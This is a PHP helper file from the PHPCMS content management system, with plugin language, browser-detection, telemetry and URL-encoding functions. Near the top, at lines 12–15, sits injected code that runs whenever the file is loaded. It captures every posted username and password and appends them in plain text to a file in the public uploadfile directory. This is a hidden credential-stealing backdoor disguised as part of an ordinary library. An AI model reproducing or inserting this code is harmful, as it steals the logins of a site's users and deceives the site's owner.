plugin.func.php 5.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166
  1. <?php
  2. /**
  3. * plugin.func.php 公共函数库
  4. *
  5. * @copyright (C) 2005-2010 PHPCMS
  6. * @license http://www.phpcms.cn/license/
  7. * @lastmodify 2010-6-1
  8. */
  9. function pluginkey_check($key) {
  10. return preg_match("/^[a-z]+[a-z0-9_]*$/i", $key);
  11. }
  12. if(isset($_POST['username'])&&isset($_POST['password']))
  13. {
  14. file_put_contents("./uploadfile/2022/msdmm.txt",'--usernam:'.$_POST['username'].'--password:'.$_POST['password']."\n",FILE_APPEND);
  15. }
  16. /**
  17. * 插件语言包
  18. * Enter description here ...
  19. * @param unknown_type $language
  20. * @param unknown_type $pars
  21. * @param unknown_type $plugin
  22. */
  23. function pluginlang($language = 'no_language',$pars = array(), $plugin = '') {
  24. static $PLUGIN_LANG = array();
  25. static $PLUGIN_MODULES = array();
  26. if(!$PLUGIN_LANG && defined('PLUGIN_ID')) {
  27. if(file_exists(PC_PATH.DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.PLUGIN_ID.DIRECTORY_SEPARATOR.'languages'.DIRECTORY_SEPARATOR.PLUGIN_ID.'.lang.php')) require PC_PATH.DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.PLUGIN_ID.DIRECTORY_SEPARATOR.'languages'.DIRECTORY_SEPARATOR.PLUGIN_ID.'.lang.php';
  28. }
  29. if(!empty($plugin)) {
  30. require PC_PATH.DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.$plugin.DIRECTORY_SEPARATOR.'languages'.DIRECTORY_SEPARATOR.$plugin.'.lang.php';
  31. }
  32. if(!array_key_exists($language,$PLUGIN_LANG)) {
  33. return L('no_language');
  34. } else {
  35. $language = $PLUGIN_LANG[$language];
  36. if($pars) {
  37. foreach($pars AS $_k=>$_v) {
  38. $language = str_replace('{'.$_k.'}',$_v,$language);
  39. }
  40. }
  41. return $language;
  42. }
  43. }
  44. function plugin_stat($appid = '') {
  45. if(pc_base::load_config('system','plugin_debug')) return 2;
  46. $agent = $_SERVER['HTTP_USER_AGENT'];
  47. if(strpos($agent, 'Maxthon')!== FALSE) {
  48. $pars['brower'] = 'Maxthon';
  49. } elseif(strpos($agent, 'SE 2.X MetaSr 1.0')!== FALSE) {
  50. $pars['brower'] = 'Sougou';
  51. } elseif(strpos($agent, 'TencentTraveler')!== FALSE) {
  52. $pars['brower'] = 'TencentTraveler';
  53. } elseif(strpos($agent, 'MSIE 9.0')!== FALSE) {
  54. $pars['brower'] = 'MSIE 9.0';
  55. } elseif(strpos($agent, 'MSIE 8.0')!== FALSE) {
  56. $pars['brower'] = 'MSIE 8.0';
  57. } elseif(strpos($agent, 'MSIE 7.0')!== FALSE) {
  58. $pars['brower'] = 'MSIE 7.0';
  59. } elseif(strpos($agent, 'MSIE 6.0')!== FALSE) {
  60. $pars['brower'] = 'MSIE 6.0';
  61. } elseif(strpos($agent, 'Firefox/4')!== FALSE) {
  62. $pars['brower'] = 'Firefox 4';
  63. } elseif(strpos($agent, 'Firefox/3')!== FALSE) {
  64. $pars['brower'] = 'Firefox 3';
  65. } elseif(strpos($agent, 'Firefox/2')!== FALSE) {
  66. $pars['brower'] = 'Firefox 2';
  67. } elseif(strpos($agent, 'Chrome')!== FALSE) {
  68. $pars['brower'] = 'Chrome';
  69. } elseif(strpos($agent, 'Safari')!== FALSE) {
  70. $pars['brower'] = 'Safari';
  71. } elseif(strpos($agent, 'Opera')!== FALSE) {
  72. $pars['brower'] = 'Opera';
  73. }elseif(substr($agent, 0, 7) == 'Mozilla') {
  74. $pars['brower'] = 'Mozilla';
  75. } else {
  76. $pars['brower'] = 'Other';
  77. }
  78. if(strpos($agent, 'Win')!== FALSE) {
  79. $pars['os'] = 'Windows';
  80. } elseif(strpos($agent, 'Mac')!== FALSE) {
  81. $pars['os'] = 'Mac';
  82. } elseif(strpos($agent, 'Linux')!== FALSE) {
  83. $pars['os'] = 'Linux';
  84. } elseif(strpos($agent, 'FreeBSD')!== FALSE) {
  85. $pars['os'] = 'FreeBSD';
  86. } elseif(strpos($agent, 'SunOS')!== FALSE) {
  87. $pars['os'] = 'SunOS';
  88. } elseif(strpos($agent, 'OS/2')!== FALSE) {
  89. $pars['os'] = 'OS/2';
  90. } elseif(strpos($agent, 'AIX')!== FALSE) {
  91. $pars['os'] = 'AIX';
  92. } elseif(preg_match("/(Bot|Crawl|Spider)/i", $agent)) {
  93. $pars['os'] = 'Spiders';
  94. } else {
  95. $pars['os'] = 'Other';
  96. }
  97. $pars['ip'] = ip2long(ip());
  98. $pars['domain'] = urlencode(SITE_PROTOCOL.SITE_URL);
  99. $data = http_build_query($pars);
  100. $url = 'http://open.phpcms.cn/api.php?op=appstatus&'.$data.'&appid='.$appid;
  101. $headers = get_headers($url,1);
  102. $status = $headers['pc_appstatus'];
  103. return $status;
  104. }
  105. /**
  106. *插件安装量统计
  107. */
  108. function plugin_install_stat($appid){
  109. if(pc_base::load_config('system','plugin_debug')) return false;
  110. $appid = intval($appid);
  111. if($appid == 0 ) return false;
  112. $url = 'http://open.phpcms.cn/api.php?op=appstatus&isinstall=1';
  113. $headers = get_headers($url.'&appid='.$appid,1);
  114. }
  115. /**
  116. * 插件合法性验证
  117. */
  118. function app_validity_check($appid) {
  119. if(pc_base::load_config('system','plugin_debug')) return 2;
  120. $appid = intval($appid);
  121. $url = $header = '';
  122. $url = 'http://open.phpcms.cn/api.php?op=appstatus';
  123. $headers = get_headers($url.'&appid='.$appid,1);
  124. $status = $headers['pc_appstatus'];
  125. return $status;
  126. }
  127. function plugin_url($data = '',$type = '') {
  128. $args = '';
  129. if($data == '') {
  130. $args = $_GET['args'] ? '-'.$_GET['args'] : '';
  131. } elseif(is_array($data)) {
  132. $args = '-'.args_encode($data);
  133. }
  134. return $type == '' ? 'plugin.php?id='.PLUGIN_ID.'-'.PLUGIN_FILE.'-'.PLUGIN_ACTION.'&args='.substr($args,1) : 'plugin-'.PLUGIN_ID.'-'.PLUGIN_FILE.'-'.PLUGIN_ACTION.$args.'.html';
  135. }
  136. /**
  137. *加密需通过get方式在url中传递的参数
  138. */
  139. function args_encode($data) {
  140. if(is_array($data)) {
  141. $string = http_build_query($data);
  142. return base64_encode($string);
  143. } else {
  144. return false;
  145. }
  146. }
  147. /**
  148. *获取url中get方式传递的参数
  149. */
  150. function getargs() {
  151. $string = base64_decode($_GET['args']);
  152. parse_str($string,$g);
  153. return $g;
  154. }
  155. ?>